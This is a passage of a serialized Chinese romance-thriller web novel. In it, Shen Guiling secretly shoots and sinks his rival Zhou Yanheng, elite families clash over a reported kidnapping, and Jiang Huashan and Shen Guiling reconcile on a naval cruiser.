“要我说,太奶奶就是心太软了,当年若是狠下心把规矩立好,哪能让衫衫养成这么疯疯癫癫的性格。”傅绥尔身上毕竟还有一半沈家血脉,二婶娘忌惮沈娇,到底不敢把话说的太难听。 说那么多,沈兰晞只听进去了,姜花衫没有学过规矩。 没有学过,那她的规矩是谁教的? 沈兰晞直觉自己的心越跳越快,“太奶奶有没有教过绥尔和衫衫茶道和宴席礼仪?” 二婶娘细细回忆了一番,摇了摇头,“太奶奶心疼她们,不过是个餐前礼仪就学了大半个月,那些对于真正的沈家闺训不过是小孩子扮家家。” 沈兰晞缓缓抬眸,日光斜劈进廊下,将他眸色淬成一种冷硬的青灰,那双眼睛,眸光沉静如同古井深潭。 “二婶娘,以您的资历,能一眼认出沈家的媳妇吗?” 二婶娘愣了愣,她不明白沈兰晞在说什么。 沈兰晞,“我的意思是,您教过的学生,您能一眼认出来吗?” 虽然荒唐,但或许只有荒唐才能解答他心中的疑惑了。 * “阿嚏!” 姜花衫她趴在窄床沿,下巴枕着手臂,莫名奇妙打了个喷嚏,额前的刘海如海藻般垂落。 三步外的桃花心木书桌前,沈归灵正专心致志描摹巡航舰的肋骨架,鲸油灯暖黄的光晕染在图纸上,羽毛笔尖游走时发出沙沙轻响。 听见声响,沈归灵抬起头看向床尾的人影,“怎么了?” “肯定是白天在海边站太久受寒了,不行!过几天还指不定会出什么幺蛾子,我必须好好保重身体。”姜花衫揉了揉鼻尖,回身爬进被窝,严严实实把自己裹了起来。 沈归灵放下笔,挨着床侧摸了摸她的额头,“好像是有点发烫,今晚还是先别琢磨了,先休息。” 姜花衫顿时警铃大作,赶紧闭上眼躺得板板正正。 沈归灵笑了笑,站起身收拾图纸。 姜花衫听见动静,立马爬了起来,“你去哪?” 沈归灵拉灭台灯,“我去外面画图。” 姜花衫一时觉得怪异,这家伙怎么突然这么体贴人了,真是有点不习惯啊? * 珊瑚滩。 此时,距离关鹤失踪已经过去了整整十二个小时,但搜救队依旧毫无所获。 蔡严满心绝望,一波未平一波又起,现在出事的是关鹤,消息传回鲸港不知又会掀起什么腥风血雨。 夏夜的海滩边依旧能感受到丝丝凉意,蔡严抱着胳膊,回头见周宴珩还坐在沙滩上的躺椅上,神情微凛。 原以为周关之交不过是权势之交,没想到周宴珩竟然对关鹤如此伤心。 蔡严犹豫片刻主动上前,“这里就交给我们吧,你也在这守了一整天了,先回去休息吧。”周宴珩没有官阶,人多口杂,不好称呼,蔡严虽然直接省去了称呼,但态度依旧恭敬。 周宴珩抬眸,往海面看了一眼,语气平静,“这件事怎么处理?” 蔡严犹豫片刻,如实说道:“一连失踪两个人,事关重大,我已经上报上级了,怎么处理明天就会有结果。” “南湾舰队的都在这?” 蔡严摸不清他为什么这么问,想了想,折中回道,“大部分人都来了,但军舰上不能没有人看守,具体调度是沈少校在负责。” 周宴珩摆摆手,蔡严微微点头,转身往海面走去。 待人走后,周宴珩点开手机,打开私聊界面: -【H:事情闹出这样,明天政府一定会强军压境,计划估计要暂停了。】 -【管理员:你就不该对韩洋出手。还有余笙,你明知道她是同盟,为什么还要对她出手?】 -【H:别教我做事,我进来是玩的,不是找同盟的。】 -【管理员:现在计划推迟?你照样没得玩。】 -【H:未必,不是还没到明天吗?反正事情已经闹大了,干脆提前动手?现在南湾舰队一般的兵力都在海面捞人,现在突袭,抢舰抓人还来得及。】 -【管理员:你有把握?】 周宴珩扯了扯嘴角。 -【H:没有,我最讨厌最有把握的事。】 -【H:人生,就是因为未知才有趣。】 -【管理员:……】 …… 第669章 两虎相争 “吱呀——” 正当周宴珩准备按灭手机时,忽然听见身后传来窸窣的沙粒声。 四周海浪翻涌,浪声一浪高过一浪,被月光照白的沙滩落下一道颀长的黑影。 周宴珩脸色微变,刚回身下腹迎面被黑影横踹飞出了半米远。 “咳咳——” 周宴珩几乎是被掼进的浅水滩,腥咸的海浪打在脸上,双眸被盐水浸得生疼发胀几乎睁不开眼。 竟然还有人来杀他?!周宴珩嗤笑了一声,擦去嘴角的血渍,慢慢爬起身。 虽然遭受暗算,但他并未气恼,甚至脸上带着了一丝兴味。 那人脸上戴着面具,除了能看出是个男人之外完全没有其他线索,原以为这岛上都是些任人宰割的牛羊,没想到竟然还有人敢主动对他下杀招?! 周宴珩眯眼看了看几十米外的灯塔,因着关鹤的事,珊瑚海滩暂时被封闭,除了在另一边打捞的警署厅和海舰队,整个沙滩空无一人,但海浪声这么大,他就算喊破喉咙那些废物也听不见。 显然,这一切都在对方的计算之内。 周宴珩简单思索片刻,揉了揉撞疼的肩膀,“怎么,南湾现在流行这么打招呼吗?沈、少、校?” 话音一落,黑影里的人慢慢从暗光里走了出来。 那双在獠牙面具的之下的双眸深不可测,重睫低垂敛着幽光。 沈归灵并没有说话,一个箭步上前对着周宴珩挥出第二记重拳。 周宴珩眼睑微眯,用手肘挡住攻击,趁机反攻沈归灵的太阳穴。 沈归灵反应极快,一记低扫如铁鞭抽向周宴珩的膝弯。 周宴珩疼地眼角微微抽搐,但即便是这样,他依旧没有退缩,对着沈归灵的肩膀用力撞了上去,一把抓向面具。 从始至终他都只有一个目的,撕了这张假面。 沈归灵顺势擒住周宴珩未及收回的手腕,拧身发力,一个凶狠的过肩摔意图将周宴珩砸进湿沙。 不曾想,周宴珩却在半空诡异一蜷,如同失去重量,双足在沈归灵后背猛力一蹬!两人同时踉跄分开,在沙滩上犁出深痕。 “呼——” 两人的胸口的起伏越发明显,但为了暗暗较劲,硬是没发出一点声音。 周宴珩冷笑,“你不说话我也知道是你,一年前的事你现在才找上门,是不是有点太晚了?” “你母亲的骨灰早就烧完了。” “不晚。”沈归灵语调平静,慢慢向他逼近。 “嗡嗡——” 就在刚刚踏出三步时,贴身藏在裤兜里的信号源忽然发出震动,他脚步微顿,沉默了片刻转头看向之前周宴珩落水的浅坑。 浪花激荡,不断拍打着沙滩,亮着荧光的手机像无根的野草在水面晃来晃去。 早在周宴珩被踹出去时便已经作出了反应,他看似狼狈落水,实际是利用这个时间发送求信号,求救信号发出的瞬间会自动开启通讯功能,他刚刚故意激怒沈归灵,为得就是坐实他的身份。 沈归灵刚刚已经跟开口认下,现在就算是跳进黄河也洗不清了。 周宴珩见被识破,有些惋惜摇了摇头,“被发现了?真是可惜,一年了,还是这么废?” 沈归灵颈侧微转,伸手探入口袋,两指借着一张磁卡,“的确可惜。” 大族之中各有保护手段,芯片定位并非什么秘密,沈归灵早防着周宴珩搬救兵,事先在身上带了屏蔽磁卡,不然刚刚也不会开口。 至于他现在为什么要开口…… 他缓缓抬眸,黑色的瞳仁深邃幽暗。 周宴珩这才反应过来,回头看了一眼漂浮在水里的手机,转身往椰林跑去。 在军政学院,沈归灵就是出了名的搏击杀手,如沈兰晞、周宴珩之流的家族继承人看重的都是大战指挥工作,根本不是他的对手。 沈归灵敢开口,显然是对他下了杀心。 周宴珩忍着膝盖的剧痛,在沙滩上奔跑,林间的地面是松软的沙,覆盖着厚厚一层干枯的落叶和坠落的椰壳,踩上去发出细微的、令人心头发紧的碎裂声。 他原本想去搜救队,但念头一起就被掐灭了。 蔡严明显是向着沈家的,现在他一个人落单,这个节骨眼蔡严未必可靠,剩下的南湾舰队就更不用说了。 思来想去,现在他也就只有一个地方能躲了。 环岛边区的宿舍楼。 联盟上岛那日,他利用周家的关系帮助沈年将三十名混入高校的杀手带上了鲸鱼岛,这些人现在就安顿在环岛边区的宿舍楼。若是他把沈归灵引去那,便可利用那群杀手反杀沈归灵。 打定主意,周宴珩立马往环岛边区的方向跑去。 身后的踩踏沙粒的碎裂声步步逼近,周宴珩脸色难看至极,他这辈子还没这么狼狈过。 “呼~” 他的喘息越发粗重,眼看转角就到环岛宿舍楼…… “砰——” 椰树林惊起一声枪鸣。 “嗯……” 周宴珩闷哼了一声,单膝跪姿身体前倾重重扑倒在地。 裂碎的膝盖骨被子弹再次穿孔,神经末梢的像是又无数只蚂蚁在啃食生肉,周宴珩本能地蜷缩着身体,腰身弓成虾状死死抱着膝盖。 “吱嘎——吱嘎——” 身后的人慢悠悠才过他面前的沙石,“现在知道到底是谁废了?” 周宴珩感觉到自己的意识渐渐有些,用力甩了甩头,见没什么效果用力咬破自己的舌尖,喉间的血腥味让他瞬间清醒。 “呵~”他吐出血水,用力擦了擦嘴角,挑眉打量沈归灵,“你有枪,为什么一开始不用?” 沈归灵懒得理他,拉枪上膛对准他另外一只腿,砰的一声按下扳机。 “噗——” 子弹钻进血肉的声音又闷又沉。 周宴珩闭了闭眼,咬牙缓过劲后,回头看向身后的宿舍,“你找他们?” 沈归灵依旧没有回答,继续上膛,这次对准的是周宴珩的肩膀。 周宴珩丝毫不惧,血色暗涌反而让他看上去更加兴奋,“你知道这岛上还有其他人?L?” …… 第670章 必有一伤 “砰——” 又一声枪响,周宴珩重重仰倒在沙滩上,鲜红的血水一滴一滴渗透了身下沙石。 沈归灵抬脚,用力踩着他的肩上的伤,俯身打量他,“是谁告诉你我母亲的陵墓在哪的?沈年?” 当初沈谦开记者会只承认了他是私生子的身份,但舒沐的身份一直都是迷,周宴珩能在那么快的时间查到苏沐,除了沈年,他想不到还有谁。 周宴珩疼得浑身抽搐,但就是不愿低头求饶,低笑了一声,忽然眼锋一转带着杀气,“这你都敢认,看来已经想好怎么杀我了。动手啊,我倒要看看你怎么杀我?” 从沈归灵开第一枪他就知道他今晚不会杀他,以沈归灵的枪法,要他死一枪爆头就好,何必连开三枪,他这么做定然是有别的原因。 沈归灵蹲下身,拿着枪对着周宴珩的太阳穴狠狠砸了过去,周宴珩瞳孔微缩,闭眼晕了过去。 * 翌日,鲸港。 各大家族的家主再次上桌,继续探讨A国大计。 首脑大会全程封闭,理论上外面的消息很难传进来,但能坐上一二级交椅的都不是普通家族,各有各的门道。 会议休息时间,关楼正在和乔家家主闲聊,随行的秘书忽然走近身,在他耳边小声说了什么,关楼脸色微变,立马起身向沈庄走去。 关楼一直与周家亲近,忽然和沈家攀上关系立马引起了其他人的注意。 但关楼此刻也顾不得这么多,主动上前搭话,“老爷子,听闻这次派去鲸鱼岛巡航的正是沈家少爷?” 沈庄,“这是国会下的文案,我哪知道?” 关楼看出沈庄这是在装糊涂,沉吟片刻直接挑明,“老爷子,我刚刚收到消息,阿鹤被你家衫衫推下海人就不见了,现在警署厅和南湾舰队在海上捞了一夜都不见踪影。” “哦,有这回事?”沈庄一脸严肃,“关部长放心,这件事等我问过衫衫,定会给你个交代。” 关楼摆手,“这事太过蹊跷,阿鹤会水,眨眼的功夫怎么会在众目睽睽下消失?还请沈老如实,到底为何南湾舰队会突然造访鲸鱼岛?” 关鹤语调不小,周围众人不觉也听了个大概。 周国潮皮笑肉不笑,“关部长这么问,岂不是让沈老为难吗?国之军权被一族使唤,也难怪有人为了一己私欲不愿改制。” 苏敬琉目光在两人之间逡巡了一圈,端着咖啡看戏。 沈庄丝毫不受挑衅,见众人都看着他,老爷子沉声道,“原本这件事没个踪迹我不想声张,既然大家都有疑问,那我索性就说个明白。” 说话的功夫,沈庄回头看了郑松一眼。 郑松会意,将那日蔡严到访沈家所诉之事前因后果都说了一遍,不少人听罢,当场脸色发白。 姚礼紧抱沈家大腿,第一个附和,“原来如此,老爷子您是担心警署厅的推断是真的,所以推动国会颁布调遣令的?” 周国潮见众人立场都被沈家带跑了,冷哼道,“蔡严这个警署厅厅长也算当到头了,这种未经证实的消息也敢拿来煽风点火?我看沈老是糊涂了,一艘巡航舰从南湾开到鲸鱼岛花费不小,您这是在浪费国本。” 整个会议厅也只有周国潮敢这么说沈庄了,这话一出,周围众人立马噤声装死。 “未必。”这时,关楼突然出声,脸色沉重,“我派去阿鹤身边的人都说事情反常,不止是阿珩,一同消失的还有韩洋,没有尸体,但就是找不到人,这手法的确像是被人绑架了。” 韩洋比关鹤提前一天出事,但因为消息一直传不进来,所以韩家人一直蒙在鼓里,银星集团董事长坐在三级圈末端,原本还在吃大佬们的瓜,一听说还有自己的孙子,急得差点晕过去。 “关部长……”周国潮万万没想到关楼竟然帮着沈家说话,略有不满,“没有证据的事,慎言。” 话音刚落。 站在身后的秘书忽然神情大变,抬眸看了周国潮一眼,犹豫片刻小心翼翼上前,掩着嘴唇附耳轻声道,“老爷子,少爷出事了……” 周国潮微怔,眸光渐渐下沉,目光森然看着秘书,“阿珩出什么事了?” 秘书有些畏惧周国潮,硬着头皮,“少爷被绑匪绑架了,他们勒索五亿。” “砰——” “岂有此理!!!”周国潮怒不可遏,拍案而起,“一群毛贼不自量力,竟敢对我周家动手,告诉军区总部,立马调兵过去给我平了鲸鱼岛。” 沈庄端起茶盏,慢条斯理吹了吹茶汤,悠悠道:“周老,你就因为一个人把A国军部都调去岛上,是不是有些太小题大做了?毕竟部队是国家资源,是用来保护A国百姓的,不是某个特权的私人屏障。” 周国潮脸色难看,一言不发看着沈庄。 这话是他之前拿来嘲讽沈庄的,现在原封不动羞辱回来了。 但现在不是意气之争的时候,周家子嗣淡薄,两个女儿远嫁,膝下的孙儿与周家都不亲近,周绮珊已死,若是周宴珩再出什么事,周家就算能延续百年荣光又有什么意义? 周国潮拂袖,转身向大门走去。 苏敬琉端着咖啡杯,故作不解对着周国潮的背影喊道,“周老,你去哪啊?这会还开不开?明天就要投票了,你走了就当你弃权了啊!!!” 周国潮脚步微顿,但只犹豫了片刻,便又加快脚步出了会议大厅。 * “啊~~~” 窗台撒下波光粼粼的碎光,姜花衫精神十足伸了个懒腰,刚睁开眼,不觉一愣。 台灯的光晕像一小团温热的琥珀,沈归灵伏在书桌上,侧脸贴着桌面微凉的木纹,半边陷在柔光里,半边沉入阴影。 他呼吸轻浅悠长,带动肩背微微起伏,每一次吐纳,都牵动额前几缕散落的碎发,在光晕里细微地飘动。 姜花衫走下床,轻轻推了推他的肩膀,“喂?太阳晒屁股了,你怎么还在睡?” …… 第671章 谁动了她的剧本? 沈归灵眼睫颤动,缓缓睁开眼,还没回过神姜花衫的脸就贴了上来。 “你别告诉我,你昨晚就睡在这?” 沈归灵揉了揉眼睛,抬手摸了摸她的额头,“好像不烫了。” 姜花衫眼神略有些不自然,“是吗?肯定是我昨天休息好的缘故。” 其实本来也没有发烫,只不过后面的每一天都很关键,她不想因为身体原因拖后腿,所以才格外地爱惜自己。 不对!就算不是因为要阻止剧目,她平时也很爱惜自己。 能不生病就不生,能不吃苦就不吃。 比起动不动就不把自己的命当回事,沈归灵还是更喜欢眼前这个,一有风吹草动就保护好自己的姜花衫。 他轻咳了一声,“你暂时还不能出去,这就安心在这住。” “你怎么了?” 她早就发现沈归灵脸色不太好,之所以一开始没问,是以为这家伙又想故技重施假扮可怜博取她的同情。 “咳咳。”沈归灵又咳了一声,摇了摇头,“我也不知道,可能是昨晚在外面画图受凉了。” “就你这身子骨是怎么被海舰队选中了?” 嘴上虽然这么说,但姜花衫还是抬手探向沈归灵的额头。 “嘶~怎么这么烫?!沈归灵,你都快要成铁板烧了。” “难怪我觉得头昏脑涨的,浑身无力。”沈归灵垂头,一脸虚弱抵着她的肩膀。 姜花衫左右看了看,“那你赶紧回去休息。” 反正就是搅局,剩下的事她自己也可以搞定。 “我走不动,没力气,我在这休息好不好?”沈归灵顺势倒在她的怀里,单臂便环住了她的腰。 “……”姜花衫眼梢微挑,面无表情低睨,“沈归灵,你的狐狸尾巴都露出来了。” 沈归灵装死,假装没听见。 姜花衫略有些头疼,她现在这种感觉就像一个即将上战场的男人行李都收拾好了,家中小妇人不明事理非要痴缠。 还以为这家伙昨晚转性了,没想到憋了个大招在这等着她。 “衫衫!衫衫!!” 忽然,屋外传来一声若有似无的叫唤声。 船舱内的监禁室隔音效果不错,这声音能传进来,说明对方一定是使出了吃奶的劲儿。 姜花衫听出是傅绥尔的声音,准备起身才反应过来怀里还有个粘人精。 傅绥尔不是不知道她在监禁,这个时候还特意赶过来,难不成是出什么事了?! 姜花衫懒得周旋,低头拍了拍沈归灵的脸,“累了就赶紧休息,难不成还要我背你?” 这话刚落下,沈归灵立马起来,转头爬进了被窝。 “……” 姜花衫都快被气笑了,起身进了卫生间,简单洗漱后扎了个高马尾便准备出去。 刚走到门口忽然想到什么,又转身走到床边,“实在难受就回自己的房间看医生,不然过了病气,我跟你没完。” 沈归灵背对着她,点了点头。 姜花衫这才转身出了房间。 卧房和监禁室相连,姜花衫推门往前一步就到了监禁室。 监禁室被铁栅栏一分为二,里面只有一张不足一米的单床和一张休息的椅子。 姜花衫刚坐下,傅绥尔就被两名南湾海兵带进了房间。 “衫衫。” 傅绥尔原本还沉浸在见面的喜悦,转眼见监禁室的环境这么‘恶劣’,上前抓着审讯的铁杆,一脸怒气: “他们怎么能这么对你?太过分了!阿灵哥呢?他也不管管?!” 姜花衫赶紧拉住她的手,“这挺好的,真的。你这个时候来是不是什么事了?” 未免傅绥尔较真,姜花衫轻轻捏了捏她的掌心。 傅绥尔这才掩下不快,回头看向身后两人,“两位长官,我们想单独聊聊。” 两人略有犹豫,若是平时这要求肯定不行,但这两人是沈少校的妹妹,要不答应万一沈少校迁怒怎么办? 傅绥尔见状,继续说好话,“我们就说些女孩子的悄悄话,还请两位长官通融,我来之前都跟阿灵哥说好的,他都同意了。” 沈归灵的功勋是从火山、血堆里拼出来的,南湾舰队没有人不服。 两人勉强同意,“不要太久了,不然我们也很为难。” 说罢,便推门走了出去。 等确定人都走远,傅绥尔一把抓住姜花衫的手,表情凝重,“衫衫,出大事了!周宴珩被绑架了。” “周宴珩?”姜花衫愣了愣,一时没反应过来,“什么叫绑架?” 她并不是真的不知道绑架是什么意思,而是这两个字和周宴珩联系在一起实在是太颠覆她的认知了。 上一世,被屠杀门牵连的人应该是顾玉珠、苏妙、周琦姗还有其他人豪门,周宴珩根本不在这次的死亡名单中。 傅绥尔语速极快,“刚刚警署厅发布了公文声明,原来,早在我们登岛那日就有一群海匪假扮高校学生潜伏在我们之中,韩洋、关鹤、周宴珩相继失踪就是被他们绑架了。” “你说,这是警署厅发布的消息?” 姜花衫表情错愕,警署厅搞什么鬼?韩洋和周宴珩不好说,但关鹤根本不在绑匪手里。 那傻子被她砸晕后,立马又被沈归灵提前安排在水下的人带走了。 这是她和沈归灵一起制定的计划:不管岛上有没有绑匪?都一定要坐实有!不管那些绑匪和周宴珩有没有关系?都一定要是有关系,他们要利用这次鲸鱼岛事件让周宴珩仕途受损,再无登顶的可能。 利维坦之陨联合的都是大家世族的新生代,图谋甚大,但不管他们想做什么,只要周宴珩无法登顶,对他们就不会有助力。 至于为什么会选中关鹤,除了他是关楼的命根子之外,更多的是因为他和周宴珩交往密切。 别人不知道,但姜花衫看得很清楚,周宴珩这人没心没肺,唯独对关鹤还有那么一丝顾念,所以他们要对周宴珩下手,关鹤是目前所有人中最适合的鱼饵。 明明一切都计划好了,怎么一夜之间,周宴珩从绑匪变成了肉票? 到底是谁动了她的剧本? …… 第672章 沈归灵动的 姜花衫一时没有思绪,摇了摇头,抬眸看着傅绥尔,“警署厅的声明里还有什么线索?” “其他的也没说什么了?”傅绥尔忽然想到什么,凑上前小声道,“枝枝说她找人暗中调查,说是昨晚椰林环岛有枪声,她怀疑,警署厅的人很有可能已经和绑匪交过手了,” “现在各校负责都在向教育部以及A国政府施压,要求军部出动公关舰队帮助学生撤离。但现在因为绑匪就混在学生里面,排查有些困难、” 岛上将近三千多名各校学生,要在这三千人中找到藏匿的几十人无异于是大海捞针,而且若是稍有不慎漏放一个,很有可能会酿成更大的悲剧。 到底是谁篡改剧目? 难不成是剧目发现了她的意图,强行走剧情? 姜花衫思忖片刻,眼睛忽然一亮,“之前韩洋和关鹤失踪都没想过会有绑匪?怎么周宴珩消失就确定了?” 说到这,傅绥尔顿时来了精神,“听说,是绑匪写了信,要周家拿五亿换人。” 五亿? 这绑匪倒是敢要啊,不过周家现在就周宴珩一根独苗就是十亿也在所不惜。 傅绥尔,“我来就是想告诉你,外面现在不太平,你先别想着出来,在这比哪都安全。公海舰队的调令已经下来了,很快所有人都会撤离。” 姜花衫,“那你和枝枝还有妙妙呢?” “放心吧,我们都在首次撤离的名单中,不会有事的。” 姜花衫点头,还是有些不放心,轻轻拍了拍她的手,“看好妙妙。” 上一世,苏妙在被掳的名单中,虽然现在主线已经偏离了73%,但关乎生命,一点都不能马虎。 傅绥尔神情微动,几乎是立马就明白了姜花衫的暗示。 “两位,时间差不多了。” 傅绥尔郑重点头,“放心,我们都会保护好自己,你不用记挂我们。” 监禁室的门缓缓打开,傅绥尔依依不舍作别,等人走后,姜花衫眼里的笑意顷刻收拢,起身推开隔壁的小门。 她慢慢绕过床尾,双手抱胸,居高临下看着被窝里的后脑勺。 “五亿A币?我记得你上次好像说,巡航舰舱门和甲板有新的升级方案,需要多少预算来着?” 被窝里的人毫无反应,不知道的还以为他睡着了。 姜花衫皱眉,抬手戳了戳沈归灵后脑勺的旋儿,“你最好现在起来解释一下,你昨晚到底干什么去了?” 见沈归灵依旧没有反应,姜花衫点了点头,“行,不说是吧?” 她正要收手,沈归灵突然起身,一把拉住她的手,“我昨晚杀人去了。” “……” 眼前的沈归灵,周身氤氲的水汽如湿透的薄绸,微干的发梢卷曲,唇色被蒸腾的热气熏染得异常饱满红润,像浸透了汁液的浆果,微呼出的气息带着沐浴后的暖湿,无声地融入氤氲的空气中。 “你……”姜花衫额角跳了跳,紧紧握拳,“谁让你洗澡的?” 她真的难以想象,沈归灵脑回路到底在想什么? 沈归灵轻轻勾住她的掌心,“我泡了一晚上的海水,臭死了。” 虽然回来的时候简单处理了,但还是怕她会嫌弃所以又洗了一遍。 姜花衫一时不知该说什么,捏了捏眉心,“说吧,为什么突然改变计划?” 沈归灵往床里挪了挪,留出半个身位,目光坦然看着她。 姜花衫侧身坐下,没好气,“赶紧说。” 沈归灵,“周宴珩心思缜密,手段阴狠,如果按照之前的计划,就算拦了他的仕途,未必能拦下他的祸心。所以,对付他最好的方法是一击击中,永绝后患。” 这个姜花衫自然也是知道的,但凡事都讲究时机,她有自知之明,现在的她根本还不足以击杀周宴珩,所以她才想到绑匪这个契机先废他前途。 沈归灵见她低垂着眉眼不接话,声音轻了几分,“你生气了?你气我自作主张?” 这些绑匪都是公海赫赫有名的恶徒,他不想姜花衫因为一个周宴珩惹上祸端,所以他才临时改变主意决定换个方法。 与其让周宴珩仕途受阻,不如让他死在这场绑匪的罗生门里,早在一年前香山林园那场大火烧破天时,他就想这么做了。 恰好姜花衫也要周宴珩死,他便想着干脆亲自动手以绝后患。 姜花衫抬头,看不出情绪。 沈归灵神情微动,主动贴上前抱着她,“我没有想隐瞒你,自作主张也不是故意破坏你的计划,他烧了我母亲的陵墓,我只是想讨回公道。” 姜花衫愣了愣,抬眸看着他,因为太过诧异眸光动荡的厉害。 “怎么回事?” “周宴珩放火烧山,我母亲的遗体被那场大火烧没了。” 沈归灵原本不想提起这件事,但如果不说,他怕姜花衫会不高兴,好不容易走到今天,他不想因为莫名其妙的误会心生嫌隙。 姜花衫怎么都想不到两人还有这样的过节,莫名有些气愤,“什么时候的事?” “沈姨出事前夜。” 姜花衫再次愣住,这么说,她差点失去沈娇的时候,沈归灵再次失去了他的母亲。 沈归灵拉着她的手放在手心,缓缓道,“我知道,你生气是觉得我骗了你,出尔反尔,明明说好的计划中途改变却不告诉你。我原本是觉得我可以做好这一切,也可以保护好你,让你永远不碰这些脏东西。” “但如果这些不是你想要的,我以后不会再自作聪明。” 姜花衫何尝不明白沈归灵这么做是为了她,他现在仕途光明,要杀周宴珩完全可以等更好的时机,否则也不会隐忍到现在。之所以昨夜动手,是为了阻止她以身入局。 她为爷爷,沈归灵为她,他们都是一样心思。 姜花衫一把甩开他的手,语气凶巴巴,“你最好记得今天说的话,再有下次,咱们就散伙。” 虽然她心里明白,但同盟的规矩不能坏,不然以沈归灵诡计多端的脑子根本防不胜防。 “好。” 沈归灵应下,又要牵手,姜花衫丝毫不为所动,“放手啊,咱俩现在不熟,别动手动脚。” 他沉默片刻,在她耳边轻声问道:“想不想知道周宴珩现在怎么样?” 姜花衫不自觉偏了偏头。 沈归灵从身后环住她的腰,抱着她一起落入枕间,青丝垂落的瞬间,被浪被高高落下吞并了两人的身影…… …… 新裙已开~点主页,花有归期。 第673章 碍事的被子 黑暗稠密,粗重的呼吸声被包裹在潮湿之下…… 周宴珩忽然睁眼,缓缓下沉的身体因双臂震动减缓了速度。 冰冷的海水不断挤压他的胸腔、耳膜,周宴珩试图向海面游去,却发现自己的身体像铅块一样沉重。 他低头看向脚下,深邃的眸底闪过一抹暗色。 难怪感觉身体这么沉,他的腰上绑着一块巨型石头,沈归灵想淹死他? 周宴珩咬牙,一边低头解身上的绳索,一边奋力向上划,但无论他怎么努力,依旧改变不了身体下坠的方向。周宴珩闭了闭眼,慢慢摸向血渍干涸的大腿。 难怪沈归灵要废了他的腿和肩膀,还以为沈归灵没有瞄准死穴是不敢杀他,原来不是不敢,是不想。 他要让他石沉大海,尸骨无存,只要没有尸体,证据就会永远封存。 “沈归灵……” 周宴珩缓缓眼眸,湿透的黑发如同海草般随浪摇摆,覆在大腿的手指紧紧收拢,伤口再次撕裂鲜血一缕一缕,也如海草般随浪散开。 “只要我不死,下次,死的就是你……” 深海中,一道黑影缠绕着血色缓缓下坠。 * “所以,你真的把周宴珩丢进海里了?” “嗯。为了以防万一,我先废了他的腿,然后在他的腰上绑了块石头,周家在鲸港地位不俗,要想不被抓到把柄,最好的办法就是毁尸灭迹。” 两人躺的笔直,薄薄锦被掖在下巴处,泾渭分明,一个在说,一个在听。 姜花衫想了想,侧过身,瞪大了眼睛看着他,“沈归灵,你怎么想的?你都不怕吗?” 沈归灵也侧过身,单手枕着侧脸,“怕。” 姜花衫没好气白了他一眼,“怕你还去杀?” 周宴珩可不是小角色,沈归灵这次能得手可说是冒着生命危险也不为过,周家自从周绮珊出事后,对周宴珩格外看中,这次上岛除了随行的保镖外还增派了暗卫,要不是他今晚落单,根本不可能截杀。 这家伙在她面前不是喊疼就是喊累,永远都是说最软的话做最狠的事。 沈归灵没有接话。 姜花衫想了想,有些不放心,“你确定他腰上的绳子系紧了,周宴珩可不是善男信女,万一活着回来你的处境会很麻烦。” 沈归灵没忍住低笑了一声,见姜花衫又要生气,立马收拢嘴角,严肃点头,“系紧了。” “那,那枪呢?绥尔说枝枝查到椰林有枪声,军械和普通军火只有区别的,现在岛上只有南湾舰队是军用军械,既然枝枝能查到,警署厅也一定会有线索,如果周家深究,你想好怎么解释了吗?”说完,警告十足瞪了沈归灵一眼。 沈归灵老实巴交脸,“我的枪早在一天前就丢了,报告和处分都已经下来了。” 姜花衫顺着他的话一推,顿时眼睛一亮,“然后你的枪是被我捡了,但是我的枪又被周宴珩抢了丢海里去了。” 沈归灵笑着摸了摸她的脸,“海这么大,说不定是被潜伏的海匪捡了。” 姜花衫顿时笑容凝固,一巴掌拍下他的手,“还不熟,不准动手动脚。” 沈归灵被打习惯了,皮糙肉厚完全不在意,手掌在空中停顿了片刻不动声色落在她侧脸的枕边。 他的体温略高,即使没有直接接触,姜花衫也能感受到耳畔的灼热。 沈归灵低头,抵唇吻住她的嘴角,“我不动手,也不动脚,我动嘴,可以吗?” “……” 姜花衫张口咬他,却被他抵住齿关,吻到了最深处。 他的体温比平时还烫,这一次的撕扯纠缠格外磨人。 姜花衫有些无力回应,手指插入他微湿的后颈发根一个劲儿泄恨,沈归灵由着她耍性子,指尖勾住布料边缘,滚烫的手掌贴着她的腰侧缓缓游移。 火烧的灼热感渐渐蔓延。 混蛋,说了不动手的。 姜花衫下意识地绷紧身体,喉间逸出一丝模糊的呜咽,两只腿因无处安放不由自主地顶开沈归灵腿间的空隙。 沈归灵低哼一声,带着难耐的沙哑,另一只手更用力地扣住她的后腰…… 覆盖在身上的薄被因为无人牵引落空了一大半,姜花衫捂着胸口想把被子捞上来,沈归灵从身后抱着她,一脚踹下身上遮挡,十分忘本地说道,“不要了,碍事。” …… 第674章 做的很好 “哔——哔——哔——” 突然! 一道尖厉到非人的啸叫,毫无预兆地撕裂屋内的暧昧高温。 这声音如高频的钢锥,瞬间凿穿耳膜,直插脑髓。 不是号角,是作战的警告信号。 床上交缠的身影同时一愣。 沈归灵闭了闭眼,假装没听见,滚烫的指尖沿着欲壑继续开垦。 姜花衫吓了一跳,半坐了起来,死死抓着他的手,“沈归灵,起来。” 沈归灵抬眸,眼尾隐隐泛红,“现在?你想要我的命?” “……”姜花衫嘴角抽搐,“你没听见警报吗?这声音这么刺耳,肯定是出大事了。” “应该是有人突袭南湾一号,没关系的,我这次带来的人都是精锐,不会出事的。”他象征性安慰了几句,又将她按了回去,“我们继续。” “不行。” 继续个鬼,就算不会出事,她也不想人家在上面打架,她在里面打架。 姜花衫坚决抵触。 沈归灵见状往身下看去,眸光黯了黯,低头对着她的胸口咬一口,不过就算再生气也舍不得下重力。 姜花衫眸光微变,以为他还没放弃,正要推搡,压在身上的人翻身下床,果决地不像话。 没等她反应过来,头顶压下一道被浪,将她从头到尾包裹了起来。 姜花衫愣了愣,立马坐起身,“带我……” 话没说完,密室的门砰的一下关上了。 “……” 竟然敢跟她摆脸色了?!姜花衫正要下床,转眼看见地上散落的衣服,眼里的怒气忽然一滞。 刚刚……他们差一点就…… 很熟了。 * 甲板上的士兵们正井然有序站在镇守着作战位,代表着南湾海舰第一军团的蓝色团旗好好悬挂,迎风猎猎。 “什么情况?” 巡视的海舰士兵正在记录此次出航情况,听见熟悉的声音,服从性转身,“报告长官……” 士兵愣了愣。 沈归灵穿着白色衬衣,刘海散落,整个人散发着一种荷尔蒙释放过盛的凌厉质感,他淡淡扫了士兵一眼,面无表情越过。 